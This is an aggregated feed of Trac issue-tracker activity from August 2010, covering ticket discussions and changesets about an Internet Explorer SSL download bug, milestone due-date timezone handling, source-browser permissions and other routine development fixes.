17:14 InsideTrac: Trac - Ticket #9584 (Binary files fail to download over SSL using Internet Explorer (IE)) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9584#comment:4" title="Comment 4 for Ticket #9584">Benjamin Grabkowitz <bgrabkowitz@…></a>: <blockquote class="citation"> This bug was caused at this revision: <a class="changeset" href="http://trac.edgewall.org/changeset/9588" title="versioncontrol: For `export:` links, use `HEAD` to reference the youngest ...">r9588</a> </blockquote> Well, yes, but preventing caching in that case is intentional: as the returned content for the same URL can change at any time, caching must not be done. I would argue that this is a bug in IE. More specifically, caching and starting an external application with a downloaded file are different operations, and don't need to be coupled. IE should be smart enough not to cache if requested, but still write the file to disk before launching an external application with it. (Also, "enforce no-cache requests" only for SSL connections sounds weird. Why shouldn't it obey no-cache requests on non-SSL connections as well?) Tending to a wontfix, unless we can control this "writing out to file" behavior of IE with a specific header that will keep caching disabled.
17:01 InsideTrac: Trac - Ticket #8597 (Modifications to Cc list can show 'removed' in comment even if no one was ...) closed by rblank: fixed: Fixed in <a class="changeset" href="http://trac.edgewall.org/changeset/10013" title="0.12.1dev: Correctly fixup CC ticket fields with empty elements, on both ...">[10013]</a>, for both ticket creation and update.
17:00 InsideTrac: Trac - Changeset [10013]: 0.12.1dev: Correctly fixup CC ticket fields with empty elements, on both ... by rblank: 0.12.1dev: Correctly fixup CC ticket fields with empty elements, on both ticket creation and update. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/8597" title="defect: Modifications to Cc list can show 'removed' in comment even if no one was ... (closed: fixed)">#8597</a>
16:18 InsideTrac: Trac - Ticket #6062 (MediaWiki-style alternative wiki syntax) updated by shesek: I just uploaded a plugin to add support for Underscore_Wiki_Pages, you might find this interesting. <a class="ext-link" href="http://trac-hacks.org/wiki/UnderscoreWikiPlugin"> http://trac-hacks.org/wiki/UnderscoreWikiPlugin</a>
16:13 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9542/9542-lax-browser-r10010.patch" title="Attachment '9542-lax-browser-r10010.patch' in Ticket #9542">9542-lax-browser-r10010.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9542/9542-lax-browser-r10010.patch" title="Download"></a> should do the trick.
16:12 InsideTrac: Trac - 9542-lax-browser-r10010.patch attached to Ticket #9542 by rblank: More lax permissions for displaying the "Browse Source" tab.
16:05 InsideTrac: Trac - Ticket #9584 (Binary files fail to download over SSL using Internet Explorer (IE)) updated by Benjamin Grabkowitz <bgrabkowitz@…>: This bug was caused at this revision: <a class="changeset" href="http://trac.edgewall.org/changeset/9588" title="versioncontrol: For `export:` links, use `HEAD` to reference the youngest ...">r9588</a>
15:48 InsideTrac: Trac - Ticket #9585 (Irrelevant error on trac.log permission issue) updated by rblank: Owner, Milestone changed Yes, that part of <tt>trac-admin</tt> could be improved. Another improvement would be to use the same <tt>open_environment()</tt> machinery as for web request processing, including reloading the environment when required (e.g. on configuration changes).
15:46 InsideTrac: Trac - Ticket #9584 (Binary files fail to download over SSL using Internet Explorer (IE)) updated by Benjamin Grabkowitz <bgrabkowitz@…>: After looking at some code... I have figured out that this only happens when you do not specify a version.
15:32 InsideTrac: Trac - trac-debugging-output.txt attached to Ticket #9585 by andre.miras@…: pdb output
15:28 InsideTrac: Trac - Ticket #9585 (Irrelevant error on trac.log permission issue) created by andre.miras@…: Hi, I spent ages trying to understand what was behind a "Command not found" error while running the following command from the shell (for debugging git post-receive hooks): <pre class="wiki">trac-admin '/home/myuser/trac/project1/' 'changeset' 'added' '(default)' '2dd5db7daecab8a08a17de4f5e603d14db4125a0' </pre> In my particular case, the expected output should had been: <pre class="wiki">IOError: [Errno 13] Permission denied: u'/var/log/trac.log' </pre> This is because the exception raised by logger_handler_factory in trac/env.py(468)setup_log() is handled upper in trac/admin/console.py(151)env_check(). I think it should really be raised or handled in a more proper way so a trac administrator won't spend ages trying to figure out what is that wired "Command not found" message after his git push. By prospecting on the web we can see that "Command not found" must be a permission which was right but irrelevant. As the user owning my TRAC_ENV (myuseer) is different as the user hosting git (git). I tried to give my git user a rwx access to my TRAC_ENV, after what I still got the issue. And it's only after doing further investigation using pdb that I found out the permission issue came from my trac.log which stands in /var/log/trac.log After giving git a rw access to it, everything worked ok. Additional informations: OS: Gentoo Linux Python 2.6.2 Trac 0.12 Trac git <a class="changeset" href="http://trac.edgewall.org/changeset/8215" title="HTTP 1.1 support for TracStandalone: add `--http11` option for server ...">r8215</a> Debugging output attached
12:11 InsideTrac: Trac - Ticket #9584 (Binary files fail to download over SSL using Internet Explorer (IE)) updated by Benjamin Grabkowitz <bgrabkowitz@…>: Cc changed
11:51 InsideTrac: Trac - Ticket #9584 (Binary files fail to download over SSL using Internet Explorer (IE)) updated by anonymous: I believe this has to do with this Microsoft issue: <a class="ext-link" href="http://support.microsoft.com/kb/316431"> http://support.microsoft.com/kb/316431</a> Microsoft reports the following: <hr /> The problem occurs if the server is using Secure Sockets Layer (SSL) and has added one or both of the following HTTP headers to the response message: <pre class="wiki">Pragma: no-cache Cache-control: no-cache,max-age=0,must-revalidate </pre> In order for Internet Explorer to open documents in Office (or any out-of-process, ActiveX document server), Internet Explorer must save the file to the local cache directory and ask the associated application to load the file by using IPersistFile::Load. If the file is not stored to disk, this operation fails. When Internet Explorer communicates with a secure Web site through SSL, Internet Explorer enforces any no-cache request. If the header or headers are present, Internet Explorer does not cache the file. Consequently, Office cannot open the file.
11:45 InsideTrac: Trac - Ticket #9584 (Binary files fail to download over SSL using Internet Explorer (IE)) created by anonymous: When trying to download a binary file from my svn repo through trac I get the following error in Internet Explorer 8: <pre class="wiki">Unable to download <filename> from <host>. Unable to open this Internet site. The requested site is either unavailable or cannot be found. Please try again later. </pre> The file downloads fine in Firefox and worked fine when I was using trac 0.11. I am using Apache 2.2.3 over SSL with trac 0.12. The response headers being sent by the server are: <pre class="wiki">Cache-Control: no-cache Date: Tue, 24 Aug 2010 15:20:16 GMT Expires: Fri, 01 Jan 1999 00:00:00 GMT Pragma: no-cache Content-Length: 3017999 Content-Type: application/zip; charset=iso-8859-15 Last-Modified: Tue, 17 Aug 2010 16:18:16 GMT Content-Disposition: attachment Server: Apache/2.2.3 (CentOS) Connection: close </pre>
10:08 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Ryan J Ollos <ryano@…>: Thanks for your help. I should have a first cut at the patch by Wednesday or Thursday.
04:22 InsideTrac: Trac - Ticket #899 ([PATCH] Allow hints for custom fields in tickets) updated by Ryan J Ollos <ryano@…>: Cc changed
04:13 InsideTrac: Trac - Ticket #9580 (Insert a link to the facebook fan page on the start page) updated by Ryan J Ollos <ryano@…>: You might add a link to the <a class="ext-link" href="http://www.ohloh.net/p/trac"> Ohloh page</a> as well.
04:10 InsideTrac: Trac - Ticket #9579 (sudo-like behavior for users) updated by Ryan J Ollos <ryano@…>: Cc changed
04:08 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by Ryan J Ollos <ryano@…>: Cc changed
03:36 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by HeX <edgewall.p3u@…>: Replying to <a href="http://trac.edgewall.org/ticket/9542#comment:17" title="Comment 17 for Ticket #9542">rblank</a>: <blockquote class="citation"> I wondered if you would do that, as you mentioned <tt>browser.href</tt> in <a href="http://trac.edgewall.org/ticket/9542#comment:14" title="Comment 14 for Ticket #9542">comment:14</a>. Fair enough, I could make the condition for showing the "Browse Source" button that both of the following are fulfilled: <ul><li>There is at least one repository defined. </li><li>The user has a coarse <tt>BROWSER_VIEW</tt> permission, meaning that she has access to at least one sub-directory of at least one repository. </li></ul></blockquote> Sounds good to me. I'm looking forward to test this. /HeX
03:13 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9542#comment:16" title="Comment 16 for Ticket #9542">HeX <edgewall.p3u@…></a>: <blockquote class="citation"> Actually this would be fine since I can configure (and have currently done so): <pre class="wiki">[mainnav] browser.href = /browser/PublicProject </pre></blockquote> I wondered if you would do that, as you mentioned <tt>browser.href</tt> in <a href="http://trac.edgewall.org/ticket/9542#comment:14" title="Comment 14 for Ticket #9542">comment:14</a>. Fair enough, I could make the condition for showing the "Browse Source" button that both of the following are fulfilled: <ul><li>There is at least one repository defined. </li><li>The user has a coarse <tt>BROWSER_VIEW</tt> permission, meaning that she has access to at least one sub-directory of at least one repository. </li></ul>
02:19 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by HeX <edgewall.p3u@…>: Replying to <a href="http://trac.edgewall.org/ticket/9542#comment:15" title="Comment 15 for Ticket #9542">rblank</a>: <blockquote class="citation"> Unfortunately, that won't work. If you have this entry: <pre class="wiki">[projects:/] * = </pre> and we somehow enable the "Browse Source" button, it will only lead to an empty page, as you explicitly disallow listing that directory. </blockquote> Actually this would be fine since I can configure (and have currently done so): <pre class="wiki">[mainnav] browser.href = /browser/PublicProject </pre> That way when the "Browse Source" button is shown it will point to the public sub dir rather than the prohibited root. What do you think?
02:13 InsideTrac: Trac - Ticket #8734 (No version "0" for Wiki page "FooPage") closed by anonymous: fixed

08/23/10:

20:08 InsideTrac: Trac - Changeset [10012]: 0.13dev: Merged [10005:10011] from 0.12-stable. by rblank: 0.13dev: Merged <a class="source" href="http://trac.edgewall.org/log/?revs=10005-10011">[10005:10011]</a> from 0.12-stable.
20:05 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9582#comment:10" title="Comment 10 for Ticket #9582">ryano@…</a>: <blockquote class="citation"> My initial thought on this was that, if the milestone only has a duedate resolution of days, then we probably only want to display the time to due in days as well. However, if the due date/time has resolution of seconds, it might make more sense to stick with the existing convention. </blockquote> That makes sense. <blockquote class="citation"> This is one of those things that gives me a headache because the more I look at it, the more it seems there is no "definitely right" way to proceed ... its very subjective and open to personal preference. </blockquote> Welcome to the wonderful world of Trac development (and, really, any development with more than one user) :-) <blockquote class="citation"> I wonder if this warrants an option in trac.ini to allow customizing the behavior. </blockquote> I don't think so. Too little value (the possibility to configure the behavior) for the additional complexity (in the code and for admins to configure). Sometimes less is more. <blockquote class="citation"> Seems like there is a bit of work to do here, and lots of possibilities. I could create a patch to add the due time field, which appears to be fairly straightforward, and would closed <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>. After that, I could shift attention back to this ticket for the more complex issue of how to display the resolution of the time to due date. </blockquote> Good plan. Go for it!
19:54 InsideTrac: Trac - Changeset [10011]: 0.13dev: Improved the display of raw download icons. by rblank: 0.13dev: Improved the display of raw download icons.
19:43 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by ryano@…: Replying to <a href="http://trac.edgewall.org/ticket/9582#comment:9" title="Comment 9 for Ticket #9582">rblank</a>: <blockquote class="citation"> Instead of just adding 12:00 to the due date, I would make a more radical change, and make the "Due" field on the milestone edit page identical to the "Completed" field: <ul><li>Accept a time in addition to a date. </li><li>Add a checkbox to enable or disable the due date. </li><li>If the due date is disabled, set the value of the due date edit box to the current date and a time of 12:00. </li></ul> This sets a sensible default for the time, while still allowing it to be edited if desired. </blockquote> If that feature is implemented, I have to wonder if it would be better to leave the resolution in days/hours/minutes, since it appears to be difficult to make this change and it leads to a less precise display of the due date/time (<a href="http://trac.edgewall.org/ticket/6369#comment:10" title="Comment 10 for Ticket #6369">comment:10:ticket:6369</a> makes a good argument). My initial thought on this was that, if the milestone only has a duedate resolution of days, then we probably only want to display the time to due in days as well. However, if the due date/time has resolution of seconds, it might make more sense to stick with the existing convention. This is one of those things that gives me a headache because the more I look at it, the more it seems there is no "definitely right" way to proceed ... its very subjective and open to personal preference. I wonder if this warrants an option in trac.ini to allow customizing the behavior. Seems like there is a bit of work to do here, and lots of possibilities. I could create a patch to add the due time field, which appears to be fairly straightforward, and would closed <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>. After that, I could shift attention back to this ticket for the more complex issue of how to display the resolution of the time to due date.
19:30 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: Instead of just adding 12:00 to the due date, I would make a more radical change, and make the "Due" field on the milestone edit page identical to the "Completed" field: <ul><li>Accept a time in addition to a date. </li><li>Add a checkbox to enable or disable the due date. </li><li>If the due date is disabled, set the value of the due date edit box to the current date and a time of 12:00. </li></ul> This sets a sensible default for the time, while still allowing it to be edited if desired. I would try to enhance <tt>pretty_timedelta()</tt>, probably not by overloading the <tt>resolution=</tt> argument, as it is already used for another purpose, but by adding a <tt>smallest=</tt> argument specifying the smallest delta to show. But maybe that's still not the best solution, as we would like to have "Due tomorrow" and "Due today", but <tt>pretty_timedelta()</tt> has no notion of "now"... except maybe when <tt>time2=None</tt>. Another option would be a new function <tt>point_in_time()</tt> that returns a textual representation of a point in time rather than a time interval. In any case, the i18n aspect is a bit tricky. (Your patch is in "context diff" format, whereas we usually prefer "unified diff". Subclipse can probably be configured to produce unified diffs.)
18:57 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Ryan J Ollos <ryano@…>: The display of the patch that I uploaded is not what I'm used to ... still getting accustomed to PyDev and Subsclipse in Eclipse. Anyway the patch seems simple enough to be readable at least.
18:54 InsideTrac: Trac - roadmap.r10007.patch attached to Ticket #9582 by Ryan J Ollos <ryano@…>: Patch to set milestone duetime to 12:00.
18:53 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Ryan J Ollos <ryano@…>: Replying to <a href="http://trac.edgewall.org/ticket/9582#comment:4" title="Comment 4 for Ticket #9582">rblank</a>: <blockquote class="citation"> I like the idea of keeping the resolution of the due date at days. Maybe we should combine both: add the due time (preset to 12:00) and keep the display resolution in days? </blockquote> This sounds good. I've looked at the code, and I'll need some advice on how to proceed. <ol><li>I made a change to add 12 hours to milestone.due when it is set, and attached the patch for comment. </li><li>In order to display the time until the milestone is due with days resolution, should we replace the <a class="source" href="http://trac.edgewall.org/browser/branches/0.12-stable/trac/ticket/templates/roadmap.html?rev=10007&marks=43%2C48%2C53#L33">dateinfo</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/10007/branches/0.12-stable/trac/ticket/templates/roadmap.html#L33" title="Download"></a> function with an equivalent function that returns the timedelta with days resolution, or add an optional second argument to dateinfo that specifies the resolution? The dateinfo function calls pretty_timedelta, which has a third argument <a class="source" href="http://trac.edgewall.org/browser/branches/0.12-stable/trac/util/datefmt.py?rev=10007&marks=96#L82">resolution</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/10007/branches/0.12-stable/trac/util/datefmt.py#L82" title="Download"></a>, which looks like it could be expanded to fit this purpose. </li></ol>
18:52 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9542#comment:14" title="Comment 14 for Ticket #9542">HeX <edgewall.p3u@…></a>: <blockquote class="citation"> The thing to fix (and which is also the topic of this ticket) would be to activate the "Browse Source" button if the relevant. </blockquote> Unfortunately, that won't work. If you have this entry: <pre class="wiki">[projects:/] * = </pre> and we somehow enable the "Browse Source" button, it will only lead to an empty page, as you explicitly disallow listing that directory. As long as you need such an entry for Subversion not to list disallowed sub-directories, I'm afraid there's not much we can do to improve the situation. I need fresh ideas...
18:28 InsideTrac: Trac - Ticket #9548 (Source browser: First character missing in hash for repo name) updated by rblank: Owner changed
18:28 InsideTrac: Trac - Ticket #9548 (Source browser: First character missing in hash for repo name) closed by rblank: fixed: Works great, applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10010" title="0.12.1dev: Fixed the update of the page location when expanding a ...">[10010]</a>. Thanks!
18:27 InsideTrac: Trac - Changeset [10010]: 0.12.1dev: Fixed the update of the page location when expanding a ... by rblank: 0.12.1dev: Fixed the update of the page location when expanding a directory in the source browser, in the case where the URL has trailing slashes. Patch by shesek, thanks! Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9548" title="defect: Source browser: First character missing in hash for repo name (closed: fixed)">#9548</a>.
18:08 InsideTrac: Trac - Ticket #9577 ([PATCH] bugzilla2trac.py converting times to seconds instead of ...) updated by rblank: Owner changed
18:08 InsideTrac: Trac - Ticket #9577 ([PATCH] bugzilla2trac.py converting times to seconds instead of ...) closed by rblank: fixed: Patch applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10009" title="0.12.1dev: Fixed the `bugzilla2trac.py` importer to generate microsecond ...">[10009]</a>, without the configurable part, as timestamps in 0.12 are always microseconds. To import into 0.11.x, use the importer from that branch.
18:06 InsideTrac: Trac - Changeset [10009]: 0.12.1dev: Fixed the `bugzilla2trac.py` importer to generate microsecond ... by rblank: 0.12.1dev: Fixed the <tt>bugzilla2trac.py</tt> importer to generate microsecond timestamps. Patch by jmcdowell@…, thanks! Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9577" title="defect: [PATCH] bugzilla2trac.py converting times to seconds instead of ... (closed: fixed)">#9577</a>.
17:59 InsideTrac: Trac - Ticket #9523 (Email notification should use the BASE64 encode insted of SHORTEST) closed by rblank: fixed: Documentation updated in <a class="wiki" href="http://trac.edgewall.org/wiki/TracNotification?version=62">TracNotification@62</a>.
17:58 InsideTrac: Trac - TracNotification edited by rblank: Updated the entry for <tt>mime_encoding</tt>. (<a href="http://trac.edgewall.org/wiki/TracNotification?action=diff&version=62">diff</a>)
17:54 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) closed by rblank: fixed: Patch applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10008" title="0.12.1dev: Added the possibility to add a repository name to the `r123` ...">[10008]</a> (to 0.12-stable by mistake, sorry).
17:53 InsideTrac: Trac - Changeset [10008]: 0.12.1dev: Added the possibility to add a repository name to the `r123` ... by rblank: 0.12.1dev: Added the possibility to add a repository name to the <tt>r123</tt> style changeset and <tt>r123:456</tt> log links: <tt>r123/repos</tt> and <tt>r123:456/repos</tt>. Only a small subset of characters is allowed for the repository name in this link style. For repository names containing special characters, the bracket style <tt>[123/repos]</tt> and <tt>[123:456/repos]</tt> should be preferred. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9570" title="enhancement: Merge RepoRevisionSyntaxPlugin into core? (closed: fixed)">#9570</a>.
17:43 InsideTrac: Trac - 9566-formal-scope-r10007.patch attached to Ticket #9566 by rblank: Formalize the repository scope.
17:43 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) updated by rblank: Thanks for testing. Patch applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10007" title="0.12.1dev: Fixed `AuthzSourcePolicy` for scoped repositories. Closes ...">[10007]</a>. That leaves the question of formalizing the scope, something like <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9566/9566-formal-scope-r10007.patch" title="Attachment '9566-formal-scope-r10007.patch' in Ticket #9566">9566-formal-scope-r10007.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9566/9566-formal-scope-r10007.patch" title="Download"></a>. All tests pass.
17:29 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by hasienda <hoff.st@…>: Cc changed
17:28 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Steffen Hoffmann <hoff.st@…>: Cc changed
17:27 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by hasienda <hoff.st@…>: Replying to <a href="http://trac.edgewall.org/ticket/9582#comment:4" title="Comment 4 for Ticket #9582">rblank</a>: <blockquote class="citation"> [...] I like the idea of keeping the resolution of the due date at days. Maybe we should combine both: add the due time (preset to 12:00) and keep the display resolution in days? </blockquote> Just like I do with ticket custom due date backed by true custom time fields. Yes, 12:00 would be a reasonable choice.
17:24 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by hasienda <hoff.st@…>: Replying to <a href="http://trac.edgewall.org/ticket/6369#comment:13" title="Comment 13 for Ticket #6369">aaron@…</a>: <blockquote class="citation"> [...] That said, good news: it turns out the ability IS there already! [...] But now I've got my 5 PM milestone, and nothing appears to have broken! Which is awesome. Therefore I'm pretty sure the Web interface just needs to be updated to make the Milestones interface consistent with the Versions interface (dates + times). </blockquote> No wonder, since this is not dates + times but just a POSIX mircosecond timestamp internally, just as ticket (create)time and ticket changetime. This is the good thing about consistency and modularity.
17:18 InsideTrac: Trac - Ticket #9583 (SpamFilter option to not filter attachments) created by Ryan J Ollos <ryano@…>: As discussed in a <a class="ext-link" href="http://trac-hacks.org/ticket/7539#comment:4"> ticket on trac-hacks</a> it would be nice to have the option to skip the scan of attachments. I'd like to implement this feature for the 0.10 branch as well so that it can be used immediately on trac-hacks, which is running Trac 0.10.6dev.
17:14 InsideTrac: Trac - Changeset [10007]: 0.12.1dev: Fixed `AuthzSourcePolicy` for scoped repositories. Closes ... by rblank: 0.12.1dev: Fixed <tt>AuthzSourcePolicy</tt> for scoped repositories. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9566" title="defect: Improper handling of scoped repositories in svn AuthzSourcePolicy (new)">#9566</a>.
16:59 InsideTrac: Trac - Ticket #4064 (Submit spam button) updated by ryano@…: Replying to <a href="http://trac.edgewall.org/ticket/4064#comment:1" title="Comment 1 for Ticket #4064">cboos</a>: <blockquote class="citation"> That button should simply redirect to the spamfilter admin module, to the corresponding entry. </blockquote> That would be a nice feature, and additionally, for a user that is not an administrator, it would be nice if the button flagged the post for review by an administrator. The specific application I have in mind for this feature is discussed in <a class="ext-link" href="http://trac-hacks.org/intertrac/%236557" title="#6557 in Trac-Hacks Community Site"> th:#6557</a>.
16:41 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: Excellent analysis, thanks. So this is related to <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>, which suggests being more precise in the due date by adding the due time. Presetting the due time to 12:00 would prevent the due date being on different days for adjacent timezones. I like the idea of keeping the resolution of the due date at days. Maybe we should combine both: add the due time (preset to 12:00) and keep the display resolution in days?
16:15 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by ryano@…: I noticed another interesting milestone / timezone behavior while testing out the <a class="ext-link" href="http://trac-hacks.org/intertrac/WikiTicketCalendarMacro" title="WikiTicketCalendarMacro in Trac-Hacks Community Site"> th:WikiTicketCalendarMacro</a>, and I think this behavior is entirely correctly, but leads to some strange results and we may want to change the behavior a bit. I was testing to make sure that the correct day was highlighted on the macro's calendar by changing the timezone. It was just after midnight in my timezone (GMT - 7), so I set the timezone to GMT - 8 to make the local time just after 23:00 and confirmed that the day highlighted on the calendar shifted by -1. All was well, but I noticed that the two milestones I had created shifted by -1 day as well. When I created a milestone while in GMT - 7 timezone, the milestone.due field was 2010-08-24 07:00:00+00:00, or 2010-08-24 00:00:00 in local time. Now, I switch to GMT - 8 and the milestone due date in local time becomes 2010-08-23 23:00:00. This all seems technically correct, but in practical terms, do we really want two people working in adjacent timezone to see the due date for a milestone as being two different days?
15:54 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by ryano@…: Okay, the issue here seems to be the question of, what is the due time for a milestone, is it 00:00:00 or 23:59:59? <ul><li>If a milestone is due tomorrow, then the milestone will display Due in X hours/minutes. This seems to imply that the due time for a milestone is 00:00:00 on its due date, and one might assume then that a milestone should be considered late if open after that date/time. The timedelta is calculated by dateinfo in trac.web.chrome using <tt>pretty_timedelta</tt>, which returns the time relative to 00:00 of milestone.due. </li><li>However, the is_late property of the milestone object is only true if <tt>self.due.date() < date.today()</tt>, which seems to imply that a milestone's due time is 23:59:59 on its due date. </li></ul> To summarize: On the day the milestone is due, we end up with the milestone reading Due in X hours/minutes (see <a class="source" href="http://trac.edgewall.org/browser/branches/0.12-stable/trac/ticket/templates/roadmap.html?rev=10006&marks=40-59#L33">Roadmap.html</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/10006/branches/0.12-stable/trac/ticket/templates/roadmap.html#L33" title="Download"></a>) because milestone.is_late = false, but the X is calculated relative to 00:00:00 of the due date, so at 06:00:00 the milestone reads Due in 6 hours, not Due in 18 hours as it should. One simple fix to establish consistency would be to change is_late to calculate true when self.date.date() == date.today(): <tt>self.due.date() <= date.today()</tt>. Another way to establish consistency would be to add 23:59:59 to milestone.due before calculating the timedelta. I don't really like either of those, however, because it seems like a milestone should only be late after the due date has passed and yet I also don't like that the countdown to the due date displays the number of hours/minutes until 00:00:00 of the due date, because it implies that the milestone is due at the beginning of the day, not on the day. I think a better solution would be have the milestone display Due today, when self.date.date() == date.today(), and avoid the question of "what is the due time". The question then becomes, how do you calculate the number of hours until a milestone is due? If it is noon today, and the milestone is due tomorrow, do you show 12 hours until the milestone is due, or 36 hours? A solution to the latter issue might be to only display the number of days until the milestone is due, never the number of hours or minutes. So, if a milestone is due on Thursday, then: <ul><li>On Tuesday the milestone will display: Due in 2 days </li><li>On Wednesday it will display: Due in 1 day or Due tomorrow </li><li>On Thursday it will display: Due today. </li></ul> I'm ready to provide a patch for any of the aforementioned solutions.
11:27 InsideTrac: Trac - pattern_r2_c4.gif attached to Ticket #9567 by anonymous: test
07:19 InsideTrac: Trac - Ticket #9581 (Documentation page for TracIni should list or have reference to allowed ...) updated by rblank: Keywords, Milestone changed Except for the "GMT +xx:xx" zones, the names are defined in pytz, so we can't just list them in the documentation. We could list the GMT+offset zones, and provide a link to the pytz documentation. Then again, an entry in the "Basic Settings" sounds nice, too, and we already have the necessary code in the user preferences, so it shouldn't be too difficult.
07:12 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: Owner, Milestone changed Any idea where the difference comes from?
04:18 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) created by ryano@…: I created two milestones, "Milestone 1" is due today (08/23/2010) and "Milestone 2" is due tomorrow. The time is currently 01:14. On the page /milestone/Milestone 1, it reads: Due in 74 minutes (08/23/2010) On the page /milestone/Milestone 2, it reads: Due in 23 hours (08/24/2010) However, the page for Milestone 1 should read 74 minutes late (08/23/2010), not Due in 74 minutes (08/23/2010). I first noticed this issue on <tt>0.11.7</tt>, but confirmed the same behavior exists on <tt>0.12.1dev-r10006</tt>.
04:09 InsideTrac: Trac - Ticket #9581 (Documentation page for TracIni should list or have reference to allowed ...) created by ryano@…: I had a bit of a difficult time figuring out what are the valid values for the default_timezone option in the [trac] section of trac.ini. It seems like the allowed values should be documented at <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni#trac-section">TracIni#trac-section</a>, or an external reference pointed to. Another option might be to add it to Basic Settings section of the <a class="wiki" href="http://trac.edgewall.org/wiki/WebAdmin">WebAdmin</a> panel and allow a drop down list of allowed values.
01:17 InsideTrac: Trac - TranslationRu edited by Alexander Sokolov <iskander.sokol@…>: update to current state (<a href="http://trac.edgewall.org/wiki/TranslationRu?action=diff&version=2">diff</a>)

08/22/10:

21:07 InsideTrac: Trac - Ticket #899 ([PATCH] Allow hints for custom fields in tickets) updated by Adrian Fritz <adrian@…>: <a class="assigned ticket" href="http://trac.edgewall.org/ticket/925" title="enhancement: [PATCH] Allow wiki syntax in labels for custom fields (assigned)">#925</a> may be related, and maybe a solution using javascript at <a class="ext-link" href="http://trac-hacks.org/wiki/BlackMagicTicketTweaksPlugin"> http://trac-hacks.org/wiki/BlackMagicTicketTweaksPlugin</a>
10:27 InsideTrac: Trac - TracNotification edited by rblank: <a class="wiki" href="http://trac.edgewall.org/wiki/InterTrac">InterTrac</a> links are intentional, as this page is installed as part of the <a class="wiki" href="http://trac.edgewall.org/wiki/TracGuide">TracGuide</a>, and we want the links to always point to t.e.o. And yes, we know <a class="wiki" href="http://trac.edgewall.org/wiki/InterWiki">InterWiki</a> links to <tt>source:</tt> are currently broken, and we're working on it. (<a href="http://trac.edgewall.org/wiki/TracNotification?action=diff&version=61">diff</a>)
09:31 InsideTrac: Trac - TracNotification edited by hasienda <hoff.st@…>: <a class="wiki" href="http://trac.edgewall.org/wiki/InterTrac">InterTrac</a> linking broken somehow, but not needed here anyway (<a href="http://trac.edgewall.org/wiki/TracNotification?action=diff&version=60">diff</a>)
09:18 InsideTrac: Trac - PageTemplates edited by anonymous: (<a href="http://trac.edgewall.org/wiki/PageTemplates?action=diff&version=6">diff</a>)
08:29 InsideTrac: Trac - SeaChange/WhatUsersWant edited by JJ: (<a href="http://trac.edgewall.org/wiki/SeaChange/WhatUsersWant?action=diff&version=140">diff</a>)
02:44 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9570#comment:8" title="Comment 8 for Ticket #9570">shesek</a>: <blockquote class="citation"> I do think that period should not be matched too, and the <tt>[123/path]</tt> syntax should be used instead on those cases to support "fixed in <tt>r123/path</tt>." cases. </blockquote> Agreed. I'll fix that before applying. Thanks for testing!

08/21/10:

23:01 InsideTrac: Trac - 0.11/TracInstall edited by trac@…: reworded the paragraph to make it sound less ambiguous and more clear (hopefully) (<a href="http://trac.edgewall.org/wiki/0.11/TracInstall?action=diff&version=21">diff</a>)
18:18 InsideTrac: Trac - Ticket #4466 (Can't mark milestone as completed (TypeError: can't compare ...) updated by physician assistant: Priority, Version, Severity changed nice post. thanks.
